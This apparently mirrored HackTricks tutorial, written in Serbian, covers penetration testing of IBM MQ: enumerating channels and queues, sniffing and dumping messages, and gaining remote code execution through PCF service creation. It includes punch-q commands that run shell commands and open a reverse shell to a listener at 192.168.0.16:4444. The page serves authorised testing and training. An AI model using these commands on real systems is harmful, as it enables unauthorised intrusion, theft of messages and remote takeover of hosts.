mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
337 lines
17 KiB
Markdown
337 lines
17 KiB
Markdown
# 1414 - Pentesting IBM MQ
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Osnovne informacije
|
||
|
||
IBM MQ je IBM tehnologija za upravljanje redovima poruka. Kao i druge **tehnologije posrednika poruka**, namenjena je za primanje, skladištenje, obradu i klasifikaciju informacija između proizvođača i potrošača.
|
||
|
||
Podrazumevano, **izlaže IBM MQ TCP port 1414**.
|
||
Ponekad, HTTP REST API može biti izložen na portu **9443**.
|
||
Metrike (Prometheus) takođe mogu biti dostupne sa TCP porta **9157**.
|
||
|
||
IBM MQ TCP port 1414 može se koristiti za manipulaciju porukama, redovima, kanalima, ... ali **takođe za kontrolu instance**.
|
||
|
||
IBM pruža veliku tehničku dokumentaciju dostupnu na [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq).
|
||
|
||
## Alati
|
||
|
||
Preporučeni alat za jednostavnu eksploataciju je **[punch-q](https://github.com/sensepost/punch-q)**, uz korišćenje Dockera. Alat aktivno koristi Python biblioteku `pymqi`.
|
||
|
||
Za ručniji pristup, koristite Python biblioteku **[pymqi](https://github.com/dsuch/pymqi)**. [IBM MQ zavisnosti](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) su potrebne.
|
||
|
||
### Instalacija pymqi
|
||
|
||
**IBM MQ zavisnosti** treba instalirati i učitati:
|
||
|
||
1. Napravite nalog (IBMid) na [https://login.ibm.com/](https://login.ibm.com/).
|
||
2. Preuzmite IBM MQ biblioteke sa [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-\*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). Za Linux x86_64 to je **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**.
|
||
3. Dekompresujte (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`).
|
||
4. Pokrenite `sudo ./mqlicense.sh` da prihvatite uslove licenci.
|
||
|
||
> Ako ste na Kali Linuxu, izmenite datoteku `mqlicense.sh`: uklonite/komentarišite sledeće linije (između linija 105-110):
|
||
>
|
||
> ```bash
|
||
> if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
|
||
> then
|
||
> echo "ERROR: This package is incompatible with this system"
|
||
> echo " This package was built for ${BUILD_PLATFORM}"
|
||
> exit 1
|
||
> fi
|
||
> ```
|
||
|
||
5. Instalirajte ove pakete:
|
||
```bash
|
||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
|
||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
|
||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
|
||
```
|
||
6. Zatim, privremeno dodajte `.so` datoteke u LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **pre** nego što pokrenete druge alate koji koriste ove zavisnosti.
|
||
|
||
Zatim, možete klonirati projekat [**pymqi**](https://github.com/dsuch/pymqi): sadrži zanimljive delove koda, konstante, ... Ili možete direktno instalirati biblioteku sa: `pip install pymqi`.
|
||
|
||
### Korišćenje punch-q
|
||
|
||
#### Sa Docker-om
|
||
|
||
Jednostavno koristite: `sudo docker run --rm -ti leonjza/punch-q`.
|
||
|
||
#### Bez Docker-a
|
||
|
||
Klonirajte projekat [**punch-q**](https://github.com/sensepost/punch-q) zatim pratite uputstvo za instalaciju (`pip install -r requirements.txt && python3 setup.py install`).
|
||
|
||
Nakon toga, može se koristiti sa `punch-q` komandom.
|
||
|
||
## Enumeracija
|
||
|
||
Možete pokušati da enumerišete **ime menadžera reda, korisnike, kanale i redove** sa **punch-q** ili **pymqi**.
|
||
|
||
### Menadžer reda
|
||
|
||
Ponekad, nema zaštite protiv dobijanja imena Menadžera reda:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
|
||
Queue Manager name: MYQUEUEMGR
|
||
```
|
||
### Kanali
|
||
|
||
**punch-q** koristi internu (modifikovanu) listu reči za pronalaženje postojećih kanala. Primer upotrebe:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
|
||
"DEV.ADMIN.SVRCONN" exists and was authorised.
|
||
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
|
||
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
|
||
```
|
||
Dešava se da neki IBM MQ instance prihvataju **neautentifikovane** MQ zahteve, tako da `--username / --password` nije potrebno. Naravno, prava pristupa takođe mogu varirati.
|
||
|
||
Čim dobijemo jedno ime kanala (ovde: `DEV.ADMIN.SVRCONN`), možemo enumerisati sve ostale kanale.
|
||
|
||
Enumeracija se u osnovi može uraditi sa ovim kodom `code/examples/dis_channels.py` iz **pymqi**:
|
||
```python
|
||
import logging
|
||
import pymqi
|
||
|
||
logging.basicConfig(level=logging.INFO)
|
||
|
||
queue_manager = 'MYQUEUEMGR'
|
||
channel = 'DEV.ADMIN.SVRCONN'
|
||
host = '172.17.0.2'
|
||
port = '1414'
|
||
conn_info = '%s(%s)' % (host, port)
|
||
user = 'admin'
|
||
password = 'passw0rd'
|
||
|
||
prefix = '*'
|
||
|
||
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
|
||
|
||
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
|
||
pcf = pymqi.PCFExecute(qmgr)
|
||
|
||
try:
|
||
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
|
||
except pymqi.MQMIError as e:
|
||
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
|
||
logging.info('No channels matched prefix `%s`' % prefix)
|
||
else:
|
||
raise
|
||
else:
|
||
for channel_info in response:
|
||
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
|
||
logging.info('Found channel `%s`' % channel_name)
|
||
|
||
qmgr.disconnect()
|
||
|
||
```
|
||
... Ali **punch-q** takođe uključuje taj deo (sa više informacija!).
|
||
Može se pokrenuti sa:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
|
||
Showing channels with prefix: "*"...
|
||
|
||
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|
||
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
|
||
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
|
||
| DEV.APP.SVRCONN | Server-connection | app | | | | |
|
||
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
|
||
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
|
||
| SYSTEM.DEF.AMQP | AMQP | | | | | |
|
||
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
|
||
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
|
||
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
|
||
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
|
||
| SYSTEM.DEF.SENDER | Sender | | | | | |
|
||
| SYSTEM.DEF.SERVER | Server | | | | | |
|
||
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
|
||
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
|
||
```
|
||
### Redovi
|
||
|
||
Postoji deo koda sa **pymqi** (`dis_queues.py`), ali **punch-q** omogućava da se dobiju dodatne informacije o redovima:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
|
||
Showing queues with prefix: "*"...
|
||
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
|
||
| | | | | | GR Name | eue Nam | |
|
||
| | | | | | | e | |
|
||
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
|
||
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
|
||
| 0 18.35.1 | E | | | | | | |
|
||
| 9 | | | | | | | |
|
||
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
|
||
| 0 18.35.1 | | | | | | | |
|
||
| 9 | | | | | | | |
|
||
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
|
||
| 0 18.35.1 | | | | | | | |
|
||
| 9 | | | | | | | |
|
||
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
|
||
| 0 18.35.1 | | | | | | | |
|
||
| 9 | | | | | | | |
|
||
# Truncated
|
||
```
|
||
## Eksploatacija
|
||
|
||
### Ispisivanje poruka
|
||
|
||
Možete ciljati redove/kanale da biste presreli / ispisali poruke iz njih (nedestruktivna operacija). _Primeri:_
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
|
||
```
|
||
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
|
||
```
|
||
**Ne oklevajte da iterirate na svim identifikovanim redovima.**
|
||
|
||
### Izvršenje koda
|
||
|
||
> Neki detalji pre nastavka: IBM MQ se može kontrolisati na više načina: MQSC, PCF, Control Command. Neki opšti spiskovi mogu se naći u [IBM MQ dokumentaciji](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
|
||
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_Programabilni komandni formati_**) je ono na čemu se fokusiramo da bismo interagovali na daljinu sa instancom. **punch-q** i dalje **pymqi** se zasnivaju na PCF interakcijama.
|
||
>
|
||
> Možete pronaći spisak PCF komandi:
|
||
>
|
||
> - [Iz PCF dokumentacije](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), i
|
||
> - [iz konstanti](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes).
|
||
>
|
||
> Jedna zanimljiva komanda je `MQCMD_CREATE_SERVICE` i njena dokumentacija je dostupna [ovde](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Kao argument uzima `StartCommand` koji pokazuje na lokalni program na instanci (primer: `/bin/sh`).
|
||
>
|
||
> Takođe postoji upozorenje o komandi u dokumentaciji: _"Pažnja: Ova komanda omogućava korisniku da izvrši proizvoljnu komandu sa mqm ovlašćenjem. Ako se dodeli pravo korišćenja ove komande, zlonameran ili nepažljiv korisnik može definisati servis koji oštećuje vaše sisteme ili podatke, na primer, brisanjem bitnih fajlova."_
|
||
>
|
||
> _Napomena: uvek prema IBM MQ dokumentaciji (Administrativna referenca), postoji i HTTP endpoint na `/admin/action/qmgr/{qmgrName}/mqsc` za izvršenje ekvivalentne MQSC komande za kreiranje servisa (`DEFINE SERVICE`). Ovaj aspekt ovde još nije pokriven._
|
||
|
||
Kreiranje / brisanje servisa sa PCF za izvršenje programa na daljinu može se uraditi pomoću **punch-q**:
|
||
|
||
**Primer 1**
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
|
||
```
|
||
> U logovima IBM MQ, možete pročitati da je komanda uspešno izvršena:
|
||
>
|
||
> ```bash
|
||
> 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
|
||
> ```
|
||
|
||
Takođe možete enumerisati postojeće programe na mašini (ovde `/bin/doesnotexist` ... ne postoji):
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
|
||
s "whatever"
|
||
Command: /bin/doesnotexist
|
||
Arguments: -c id
|
||
Service Name: 6e3ef5af652b4436
|
||
|
||
Creating service...
|
||
Starting service...
|
||
The program '/bin/doesnotexist' is not available on the remote system.
|
||
Giving the service 0 second(s) to live...
|
||
Cleaning up service...
|
||
Done
|
||
```
|
||
**Budite svesni da je pokretanje programa asinhrono. Tako da vam je potreban drugi element da iskoristite eksploataciju** **_(listener za obrnuti shell, kreiranje fajla na različitoj usluzi, exfiltracija podataka kroz mrežu ...)_**
|
||
|
||
**Primer 2**
|
||
|
||
Za jednostavan obrnuti shell, **punch-q** takođe predlaže dva obrnuta shell payload-a:
|
||
|
||
- Jedan sa bash
|
||
- Jedan sa perl
|
||
|
||
_Of course you can build a custom one with the `execute` command._
|
||
|
||
Za bash:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
|
||
```
|
||
Za perl:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
|
||
```
|
||
### Custom PCF
|
||
|
||
Možete istražiti IBM MQ dokumentaciju i direktno koristiti **pymqi** python biblioteku za testiranje specifične PCF komande koja nije implementirana u **punch-q**.
|
||
|
||
**Example:**
|
||
```python
|
||
import pymqi
|
||
|
||
queue_manager = 'MYQUEUEMGR'
|
||
channel = 'DEV.ADMIN.SVRCONN'
|
||
host = '172.17.0.2'
|
||
port = '1414'
|
||
conn_info = '%s(%s)' % (host, port)
|
||
user = 'admin'
|
||
password = 'passw0rd'
|
||
|
||
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
|
||
pcf = pymqi.PCFExecute(qmgr)
|
||
|
||
try:
|
||
# Replace here with your custom PCF args and command
|
||
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
|
||
args = {pymqi.CMQCFC.xxxxx: "value"}
|
||
response = pcf.MQCMD_CUSTOM_COMMAND(args)
|
||
except pymqi.MQMIError as e:
|
||
print("Error")
|
||
else:
|
||
# Process response
|
||
|
||
qmgr.disconnect()
|
||
|
||
```
|
||
Ako ne možete pronaći imena konstanti, možete se osloniti na [IBM MQ dokumentaciju](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors).
|
||
|
||
> _Primer za [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Decimal = 73). Potreban je parametar `MQCA_CLUSTER_NAME` (Decimal = 2029) koji može biti `_` (Dok: ):\*
|
||
>
|
||
> ```python
|
||
> import pymqi
|
||
>
|
||
> queue_manager = 'MYQUEUEMGR'
|
||
> channel = 'DEV.ADMIN.SVRCONN'
|
||
> host = '172.17.0.2'
|
||
> port = '1414'
|
||
> conn_info = '%s(%s)' % (host, port)
|
||
> user = 'admin'
|
||
> password = 'passw0rd'
|
||
>
|
||
> qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
|
||
> pcf = pymqi.PCFExecute(qmgr)
|
||
>
|
||
> try:
|
||
> args = {2029: "*"}
|
||
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
|
||
> except pymqi.MQMIError as e:
|
||
> print("Greška")
|
||
> else:
|
||
> print(response)
|
||
>
|
||
> qmgr.disconnect()
|
||
> ```
|
||
|
||
## Testno okruženje
|
||
|
||
Ako želite da testirate ponašanje i eksploate IBM MQ, možete postaviti lokalno okruženje zasnovano na Docker-u:
|
||
|
||
1. Imati nalog na ibm.com i cloud.ibm.com.
|
||
2. Kreirati kontejnerizovani IBM MQ sa:
|
||
```bash
|
||
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
|
||
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
|
||
```
|
||
Podrazumevano, autentifikacija je omogućena, korisničko ime je `admin` i lozinka je `passw0rd` (promenljiva okruženja `MQ_ADMIN_PASSWORD`).
|
||
Ovde je ime menadžera reda postavljeno na `MYQUEUEMGR` (promenljiva `MQ_QMGR_NAME`).
|
||
|
||
Trebalo bi da imate IBM MQ pokrenut i da su njegovi portovi izloženi:
|
||
```bash
|
||
❯ sudo docker ps
|
||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
|
||
```
|
||
> Stare verzije IBM MQ docker slika se nalaze na: https://hub.docker.com/r/ibmcom/mq/.
|
||
|
||
## Reference
|
||
|
||
- [mgeeky's gist - "Praktične beleške o penetracionom testiranju IBM MQ"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||
- [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
|
||
- [IBM MQ dokumentacija](https://www.ibm.com/docs/en/ibm-mq)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|